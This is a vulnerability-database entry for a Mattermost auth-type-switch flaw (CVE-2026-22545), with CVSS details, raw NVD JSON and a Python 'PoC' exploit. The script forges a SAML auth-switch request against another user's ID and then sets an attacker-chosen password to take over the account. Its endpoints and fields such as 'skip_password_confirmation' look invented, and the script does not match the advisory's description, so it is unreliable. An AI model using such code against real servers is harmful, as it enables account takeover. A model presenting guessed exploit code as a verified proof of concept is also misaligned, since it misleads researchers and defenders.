Security Vulnerability Report
中文
CVE-2026-22545 CVSS 3.1 LOW

CVE-2026-22545

Published: 2026-03-16 15:16:21
Last Modified: 2026-03-18 13:54:31

Description

Mattermost versions 10.11.x <= 10.11.10 fail to validate user's authentication method when processing account auth type switch which allows an authenticated attacker to change account password without confirmation via falsely claiming a different auth provider.. Mattermost Advisory ID: MMSA-2026-00583

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 10.11.x < 10.11.10
Mattermost 10.11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22545 PoC - Mattermost Auth Type Switch Bypass # Requires authenticated session cookie import requests import json TARGET_URL = "https://mattermost.example.com" TARGET_USER_ID = "target_user_id_here" ATTACKER_SESSION_TOKEN = "attacker_session_token_here" def exploit_auth_switch(): """ Exploit authentication type switch validation bypass Allows attacker to change target user password without confirmation """ headers = { "Authorization": f"Bearer {ATTACKER_SESSION_TOKEN}", "Content-Type": "application/json", "X-CSRF-Token": "", "Cookie": f"MMSID=attacker_session" } # Step 1: Identify target user account settings get_user_url = f"{TARGET_URL}/api/v4/users/{TARGET_USER_ID}" response = requests.get(get_user_url, headers=headers) # Step 2: Craft malicious auth type switch request # Falsely claim different auth provider without actual authentication exploit_payload = { "user_id": TARGET_USER_ID, "new_auth_type": "saml", # Claim SAML provider "fake_provider_data": { "email": "[email protected]", "assertion_consumer_service_url": "/" }, "skip_password_confirmation": True # Bypass confirmation } switch_url = f"{TARGET_URL}/api/v4/users/{TARGET_USER_ID}/auth" exploit_response = requests.put(switch_url, json=exploit_payload, headers=headers) # Step 3: Set new password without original password password_change_payload = { "new_password": "AttackerControlled123!", "current_password": "", # Empty - bypassed "auth_type": "saml" } set_pwd_url = f"{TARGET_URL}/api/v4/users/{TARGET_USER_ID}/password" pwd_response = requests.put(set_pwd_url, json=password_change_payload, headers=headers) if pwd_response.status_code == 200: print("[+] Password changed successfully - Account Compromised") else: print(f"[-] Exploit failed: {pwd_response.text}") if __name__ == "__main__": exploit_auth_switch()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22545", "sourceIdentifier": "[email protected]", "published": "2026-03-16T15:16:21.123", "lastModified": "2026-03-18T13:54:31.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.10 fail to validate user's authentication method when processing account auth type switch which allows an authenticated attacker to change account password without confirmation via falsely claiming a different auth provider.. Mattermost Advisory ID: MMSA-2026-00583"}, {"lang": "es", "value": "Las versiones de Mattermost 10.11.x &lt;= 10.11.10 no validan el método de autenticación del usuario al procesar el switch de tipo de autenticación de cuenta, lo que permite a un atacante autenticado cambiar la contraseña de la cuenta sin confirmación al afirmar falsamente ser un proveedor de autenticación diferente. ID de Aviso de Mattermost: MMSA-2026-00583"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}